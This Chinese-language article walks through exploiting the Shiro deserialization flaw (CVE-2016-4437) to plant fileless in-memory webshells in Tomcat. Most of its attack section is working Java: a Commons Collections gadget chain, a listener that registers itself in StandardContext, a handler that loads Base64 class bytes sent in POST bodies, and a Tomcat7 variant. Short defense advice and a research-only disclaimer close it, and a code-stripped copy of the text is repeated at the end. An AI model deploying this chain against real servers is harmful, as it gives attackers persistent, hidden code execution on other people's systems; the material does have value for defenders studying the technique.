Shiro反序列化与Tomcat内存马注入学习
字数 1021 2025-08-05 08:19:26

Shiro反序列化与Tomcat内存马注入技术研究

1. 漏洞概述

Shiro反序列化漏洞(CVE-2016-4437)是一个经典的Java反序列化漏洞,自2016年披露以来仍广泛存在于各类老旧系统中。本文详细分析该漏洞原理,并结合Tomcat内存马注入技术,提供完整的利用链和解决方案。

2. 利用链分析

2.1 CommonsCollectionsK1_1利用链

该利用链基于Apache Commons Collections库,核心原理如下:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][] {code});
setFieldValue(obj,"_name","");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

InstantiateTransformer i = new InstantiateTransformer(
    new Class[] { Templates.class },
    new Object[] { obj }
);

Map originalMap = new HashMap();
Map decoratedMap = LazyMap.decorate(originalMap, i);
Map fakedecoratedMap = LazyMap.decorate(originalMap, new ConstantTransformer("1"));

TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap, TrAXFilter.class);
Map enterpointMap = new HashMap();
enterpointMap.put(tme, "valuevalue");
decoratedMap.clear();
setFieldValue(tme,"map",decoratedMap);

关键点:

  • 使用TemplatesImpl加载恶意字节码
  • 通过InstantiateTransformer触发实例化
  • 利用TiedMapEntryLazyMap构造反序列化链

3. Tomcat内存马注入技术

3.1 Tomcat三种内存马类型

  1. Listener型:通过实现ServletRequestListener接口
  2. Filter型:通过添加恶意Filter
  3. Servlet型:通过添加恶意Servlet

3.2 获取StandardContext的方法

  1. 从JSP变量获取:不适用于无文件落地场景
  2. 从线程获取:适用于Tomcat8/9
    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
    
  3. 从JMX MBeanServer获取:适用于特定环境

3.3 与Shiro反序列化结合

构造一个既继承AbstractTranslet又实现ServletRequestListener的类:

public class Init extends AbstractTranslet implements ServletRequestListener {
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
    
    public Init() throws Exception {
        super();
        super.namesArray = new String[]{"ccdr4gon"};
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
        standardCtx.addApplicationEventListener(this);
    }
    
    @Override public void requestDestroyed(ServletRequestEvent sre) {}
    
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        // 恶意代码执行逻辑
    }
}

3.4 解决Request Header Too Large问题

当恶意代码过长时,Tomcat会报"header too large"错误。解决方案:

  1. 修改maxHeaderSize:需要多个连接同时访问
  2. 使用POST Body传递代码(推荐):
public void requestInitialized(ServletRequestEvent sre) {
    try {
        RequestFacade requestfacade = (RequestFacade) sre.getServletRequest();
        Field field = requestfacade.getClass().getDeclaredField("request");
        field.setAccessible(true);
        Request request = (Request) field.get(requestfacade);
        
        if (request.getParameter("stage").equals("init")) {
            StringBuilder sb = new StringBuilder("");
            BufferedReader br = request.getReader();
            String str;
            while ((str = br.readLine()) != null) {
                sb.append(str);
            }
            byte[] payload = Base64.getDecoder().decode(sb.toString());
            
            Method defineClass = Class.forName("java.lang.ClassLoader")
                .getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class clazz = (Class) defineClass.invoke(
                Thread.currentThread().getContextClassLoader(), 
                payload, 0, payload.length
            );
            clazz.newInstance();
        }
    } catch (Exception ignored){}
}

4. Tomcat7特殊处理

在Tomcat7中,获取StandardContext的方式不同:

public class T7 extends AbstractTranslet implements ServletRequestListener {
    // 辅助方法
    public Object G(Object o, String s) throws Exception {
        Field f = o.getClass().getDeclaredField(s);
        f.setAccessible(true);
        return f.get(o);
    }
    
    public T7() {
        try {
            Object o = new Object();
            Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
            
            for (int i = 0; i < g.length; i++) {
                Thread t = g[i];
                if (t != null && t.getName().contains("Backg")) {
                    o = G(G(t, "target"), "this$0");
                }
            }
            
            Field f = Class.forName("org.apache.catalina.core.ContainerBase")
                .getDeclaredField("children");
            f.setAccessible(true);
            HashMap<String,Object> p = (HashMap) f.get(o);
            
            for (Map.Entry l : p.entrySet()) {
                HashMap<String,Object> k = (HashMap) f.get(l.getValue());
                for (Map.Entry j : k.entrySet()){
                    ((StandardContext)j.getValue()).addApplicationEventListener(this);
                }
            }
        } catch (Exception i) {}
    }
    
    // requestInitialized方法同上
}

5. 工具与防御

5.1 工具链接

作者提供的工具已开源:Dr4gonSword

5.2 防御措施

  1. 升级Shiro至最新版本
  2. 使用安全的rememberMe密钥
  3. 禁用不必要的反序列化功能
  4. 部署RASP防护

6. 总结

本文详细分析了Shiro反序列化漏洞与Tomcat内存马注入的结合利用技术,重点解决了在不同Tomcat版本下的实现差异和请求头大小限制问题。通过构造特殊的恶意类,实现了无文件落地的持久化控制能力。该技术仅供安全研究使用,请勿用于非法用途。

Shiro反序列化与Tomcat内存马注入技术研究 1. 漏洞概述 Shiro反序列化漏洞(CVE-2016-4437)是一个经典的Java反序列化漏洞,自2016年披露以来仍广泛存在于各类老旧系统中。本文详细分析该漏洞原理,并结合Tomcat内存马注入技术,提供完整的利用链和解决方案。 2. 利用链分析 2.1 CommonsCollectionsK1_ 1利用链 该利用链基于Apache Commons Collections库,核心原理如下: 关键点: 使用 TemplatesImpl 加载恶意字节码 通过 InstantiateTransformer 触发实例化 利用 TiedMapEntry 和 LazyMap 构造反序列化链 3. Tomcat内存马注入技术 3.1 Tomcat三种内存马类型 Listener型 :通过实现 ServletRequestListener 接口 Filter型 :通过添加恶意Filter Servlet型 :通过添加恶意Servlet 3.2 获取StandardContext的方法 从JSP变量获取 :不适用于无文件落地场景 从线程获取 :适用于Tomcat8/9 从JMX MBeanServer获取 :适用于特定环境 3.3 与Shiro反序列化结合 构造一个既继承 AbstractTranslet 又实现 ServletRequestListener 的类: 3.4 解决Request Header Too Large问题 当恶意代码过长时,Tomcat会报"header too large"错误。解决方案: 修改maxHeaderSize :需要多个连接同时访问 使用POST Body传递代码 (推荐): 4. Tomcat7特殊处理 在Tomcat7中,获取StandardContext的方式不同: 5. 工具与防御 5.1 工具链接 作者提供的工具已开源: Dr4gonSword 5.2 防御措施 升级Shiro至最新版本 使用安全的rememberMe密钥 禁用不必要的反序列化功能 部署RASP防护 6. 总结 本文详细分析了Shiro反序列化漏洞与Tomcat内存马注入的结合利用技术,重点解决了在不同Tomcat版本下的实现差异和请求头大小限制问题。通过构造特殊的恶意类,实现了无文件落地的持久化控制能力。该技术仅供安全研究使用,请勿用于非法用途。